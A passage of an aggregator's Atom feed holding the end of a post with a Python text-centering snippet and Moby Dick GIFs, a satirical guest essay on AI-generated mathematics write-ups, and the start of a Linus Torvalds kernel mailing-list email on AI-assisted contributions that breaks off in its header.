&lt;span class=&quot;syntax-meta syntax-statement syntax-with syntax-python&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-flow syntax-with syntax-python&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-builtin syntax-python&quot;&gt;open&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-begin syntax-python&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-string syntax-python&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-python&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-python&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-string syntax-python&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-python&quot;&gt;22w.txt&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-python&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-end syntax-python&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-statement syntax-with syntax-python&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-flow syntax-with syntax-as syntax-python&quot;&gt;as&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-statement syntax-with syntax-python&quot;&gt; &lt;span class=&quot;syntax-meta syntax-generic-name syntax-python&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-with syntax-python&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-statement syntax-for syntax-python&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-flow syntax-for syntax-python&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-generic-name syntax-python&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-statement syntax-for syntax-python&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-flow syntax-for syntax-in syntax-python&quot;&gt;in&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-statement syntax-for syntax-python&quot;&gt; &lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-generic-name syntax-python&quot;&gt;file&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-for syntax-python&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-generic-name syntax-python&quot;&gt;i&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-python&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-python&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-python&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-integer syntax-decimal syntax-python&quot;&gt;22&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-python&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-builtin syntax-python&quot;&gt;len&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-begin syntax-python&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-generic-name syntax-python&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-dot syntax-python&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-python&quot;&gt;strip&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-begin syntax-python&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-end syntax-python&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-end syntax-python&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-python&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-python&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-integer syntax-decimal syntax-python&quot;&gt;2&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-generic-name syntax-python&quot;&gt;o&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-python&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-string syntax-python&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-python&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-python&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-string syntax-python&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-python&quot;&gt; &lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-python&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-python&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-python&quot;&gt;floor&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-begin syntax-python&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-generic-name syntax-python&quot;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-end syntax-python&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-python&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-generic-name syntax-python&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-dot syntax-python&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-python&quot;&gt;strip&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-begin syntax-python&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-end syntax-python&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-builtin syntax-python&quot;&gt;print&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-begin syntax-python&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-qualified-name syntax-python&quot;&gt;&lt;span class=&quot;syntax-meta syntax-generic-name syntax-python&quot;&gt;o&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-arguments syntax-end syntax-python&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://k.sosnierz.me/08-11-24/centered.gif&quot; alt=&quot;First chapter of mobydick being shown frame by frame at about a dozen words at once, but it looks neater&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h2&gt;Moby Dick bonus: the full book&lt;/h2&gt;
&lt;p&gt;To save on bandwidth, the above-attached GIFs are examples consisting of only the first chapter. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://k.sosnierz.me/08-11-24/full.gif&quot;&gt;Click here to wintess the full, 4.2 MB, over 19-hour long beauty&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:965565009b89ce798e1aeb830deed2269d0c6220</id>
    <title type="text">Why are we even doing all this?</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-16-why-are-we-even-doing-all-this/"/>
    <link rel="via" type="text/html" href="https://terrytao.wordpress.com/2026/10/15/why-are-we-even-doing-all-this/"/>
    <published>2026-10-16T05:28:29+00:00</published>
    <updated>2026-10-16T05:28:29+00:00</updated>
    <author>
      <name>terrytao.wordpress.com via dcao</name>
    </author>
    <category term="news"/>
    <category term="math"/>
    <category term="vibecoding"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;&lt;em&gt;[This is a guest post by &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://rikabgambhir.com/&quot;&gt;Rikab Gambhir&lt;/a&gt;. This blog post was initially written in a different file format and converted using AI. — T.]&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;First, they came for the artists,&lt;br /&gt;
and I did not speak out, because I was not an artist.&lt;br /&gt;
Then, they came for the mathematicians,&lt;br /&gt;
and I did not speak out, because I was not a mathematician.&lt;br /&gt;
Then, they came for the physicists,&lt;br /&gt;
and it was actually really cool and they gave me free tokens and promised to solve my entire field for me and now I can finally devote myself to the important work of publishing papers instead of doing physics&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In early October, OpenAI fulfilled every mathematician’s childhood dream.&lt;/p&gt;
&lt;p&gt;I am not a mathematician myself (merely a theoretical particle physicist, which some argue barely counts as a scientist either), so I can’t 100% say for certain what inspires someone to pursue mathematics. But, I imagine this dream is common to all academics:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Looking up at the stars in wonderment, or enjoying a complex puzzle game, or being inspired by an encouraging teacher, and dreaming that one day an unfeeling corporate robot[1] will burn a rainforest to compile a list of 700 highly obscure barely-readable facts that *might* be true that nobody can understand as part of a marketing gimmick to raise hype for an IPO[2]&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This is probably why most of you reading this got into academia. At least, that’s why I did.&lt;/p&gt;
&lt;p&gt;In 1941, Jorge Luis Borges imagined a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/The_Library_of_Babel&quot;&gt;library&lt;/a&gt; containing every possible book that could ever be written. Somewhere in this Library of Babel is a proof of the Riemann hypothesis, the complete all-orders theory of quantum gravity, and all the papers I will ever write. Of course, there are also incorrect proofs, theories, and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://arxiv.org/abs/2610.08144&quot;&gt;misleading Lean certificates&lt;/a&gt;, but that is besides the point.&lt;/p&gt;
&lt;p&gt;By the research standards of 2026, Borges’s Library of Babel would be the most successful research institution in human history, containing an inconceivably large number of potentially correct mathematical and physical results, blowing &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://community.openai.com/t/first-look-at-mathematics-manuscripts-from-an-internal-frontier-model-at-openai/1403886&quot;&gt;OpenAI’s mere 722 write-ups&lt;/a&gt; and even the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://x.com/FinitePhysicist/status/2108745721155387704?s=20&quot;&gt;physics community’s recent 2500 write-ups&lt;/a&gt; out of the water.&lt;/p&gt;
&lt;p&gt;Of course, most recognize that Borges was a visionless fool who failed to recognize the commercial potential of his library, as he never actually built it. He did not have the entrepreneurial STEM-spirit to raise venture capital, launch an IPO, and announce that he had the potential to solve all of mathematics. He was too concerned about the futility of sorting through randomized slop trying to understand what is correct and what isn’t and how to understand it all. But what did Borges know? He was only a writer, and we have already established that artists are obsolete.&lt;/p&gt;
&lt;p&gt;Fortunately, OpenAI has brought us one step closer to realizing Borges’s vision. Rather than generating every possible mathematical paper, they’ve found a way to probabilistically generate things that &lt;em&gt;look&lt;/em&gt; correct. An important aspect of this increase in efficiency is outsourcing the tedious, unprestigious, and unprofitable work of determining the actual correctness and understanding to the mathematics community (in the past, this was reserved typically for the group writing the paper), while also not wasting any time making the papers human-comprehensible. This is, of course, a tremendous breakthrough. In centuries past, scientists and mathematicians were limited in their ability to solve problems by their ability to understand the solutions. This bottleneck has been removed, and now there is no theoretical limit to the amount of scientific and mathematical factoids we can fail to understand.&lt;/p&gt;
&lt;p&gt;From what I know about the academic community (mostly from Twitter and LinkedIn, which I assume are representative), there seems to be near-unanimous agreement that the purpose of math and science research is to gather a large quantity of potentially true factoids in a repository that nobody will actually ever read, in a ritual called “advancing humanity’s[3] knowledge”. That these results are well-written, understandable, pleasant to read or look at, or even completely correct is a secondary concern — in fact, in the pursuit of advancing humanity’s knowledge as quickly as possible, many academics will recoil in anger at the suggestion that it is worth spending any time making results understandable to humans. It is inefficient to explain or check a result when those resources can be spent generating another.&lt;/p&gt;
&lt;p&gt;This aligns with my own lived experiences — &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://arxiv.org/abs/2602.10181&quot;&gt;I didn’t become a theoretical physicist&lt;/a&gt; to learn about the universe or better appreciate the beauty of nature myself (that’s philosophy, which I would never be a doctor of). Nor did I spend years learning to write code, make pleasing plots, or craft well-written papers for the simple satisfaction of creating something (that’s art, and we’ve already established that art is obsolete). Rather, I became a physicist to stare at large databases of histograms produced by a Lovecraftian-autocomplete of dubious correctness and say “yeah that’s probably ok I guess” to add to humanity’s knowledge frontier.&lt;/p&gt;
&lt;p&gt;I live to serve the knowledge frontier and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Goodhart%27s_law&quot;&gt;nothing else&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Math and science are about cold, hard answers, just as art is about producing images, music is about producing sound waves, and literature is about producing strings of text. These things exist to be consumed as content. No rational person, least of all us masters of rationality in STEM, pursues these for the joy of creation, learning, or beauty — all of these are inefficiencies, and we mustn’t be inefficient lest we stifle humanity’s progress. LLMs are not burdened with these inefficiencies, and they will be merely the pursuits of those left behind with nothing more productive to do all day.&lt;/p&gt;
&lt;p&gt;Personally, I look forward to the day when ChatGPT can enjoy a sunset or a nice meal on my behalf and free up my time, in the same way I save time on scenic hikes using Uber. And now that AI has solved all our problems, we can devote ourselves to more important work: going into quantitative finance, vibecoding sports-betting apps, consuming AI-generated TikTok shorts, and arguing with political bots on Twitter.&lt;/p&gt;
&lt;p&gt;Ultimately, this isn’t just about mathematics or physics — it’s about fundamentally reimagining what it means to be human. By outsourcing the burdens of curiosity, creativity, and understanding, we can finally focus on what matters most: generating value, maximizing productivity, and accelerating progress towards the ultimate goal of science: a complete repo of potentially true facts in a Library of Babel that nobody will bother reading.&lt;/p&gt;
&lt;p&gt;And honestly? That’s rare.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;By &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://rikabgambhir.com/&quot;&gt;Rikab Gambhir&lt;/a&gt; (The @&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://x.com/FinitePhysicist&quot;&gt;finitephysicist&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thank you to Terry Tao and Rachel Ward for the opportunity to write a guest blog post! And thank you to Radha Mastandrea, Benoit Assi, Manuel Szewc, Jure Zupan, and Jesse Thaler for their feedback on this essay.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Remember why you chose to go into science and math in the first place!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;[1] To be clear, in your childhood dream, you don’t get to make the robot yourself. It’s a giant corporation’s robot that they made in part by stealing things from you and your friends. It’s also not a particularly cool or robot, it can only talk in HR-speak.&lt;/p&gt;
&lt;p&gt;[2] To be clear, in your childhood dream, it’s somebody else’s IPO and they get all the money, not you.&lt;/p&gt;
&lt;p&gt;[3] Here, “humanity” is metaphorical, and does not refer to any actual real person understanding anything.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:7ec38f1cf188773416ae84550ff023bb868df2c6</id>
    <title type="text">Linus Torvalds on AI-assisted kernel contributions</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-16-linus-torvalds-on-ai-assisted-kernel-contributions/"/>
    <link rel="via" type="text/html" href="https://lore.kernel.org/lkml/CAHk-=whTs09_ozN+e09GU68N1wPP56MUzDjrg9rnKxQUa0A_4Q@mail.gmail.com/"/>
    <published>2026-10-16T02:50:33+00:00</published>
    <updated>2026-10-16T02:50:33+00:00</updated>
    <author>
      <name>lore.kernel.org via thang</name>
    </author>
    <category term="news"/>
    <category term="linux"/>
    <category term="vibecoding"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;linux-kernel.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Makefile&quot;&gt;&lt;span class=&quot;syntax-source syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-makefile&quot;&gt;From&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-makefile&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-arguments syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-makefile&quot;&gt;Linus Torvalds &amp;lt;torvalds@linux-foundation.org&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-body syntax-makefile&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-makefile&quot;&gt;To&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-makefile&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-arguments syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-makefile&quot;&gt;Laurent Pinchart &amp;lt;laurent.pinchart@ideasonboard.com&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-body syntax-makefile&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-makefile&quot;&gt;Cc&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-makefile&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-arguments syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-makefile&quot;&gt;Kees Cook &amp;lt;kees@kernel.org&amp;gt;, Jori Koolstra &amp;lt;jkoolstra@xs4all.nl&amp;gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-body syntax-makefile&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-body syntax-makefile&quot;&gt;	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;Lorenzo Stoakes (ARM)&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;ljs@kernel.org&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Krzysztof&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Kozlowski &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;krzk@kernel.org&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Sasha&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Levin &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;sashal@kernel.org&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;corbet@lwn.net,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;  skhan@linuxfoundation.org,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;rdunlap@infradead.org,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; federico.vaga@vaga.pv.it,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;apw@canonical.com,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; joe@perches.com, workflows@vger.kernel.org,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;linux-doc@vger.kernel.org,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; linux-kernel@vger.kernel.org,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Greg&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Kroah-Hartman &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;gregkh@linuxfoundation.org&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Justin&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Stitt &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;justinstitt@google.com&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Carlos&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Maiolino &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;cem@kernel.org&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Jakub&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Kicinski &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;kuba@kernel.org&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Brian&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Foster &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;bfoster@redhat.com&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
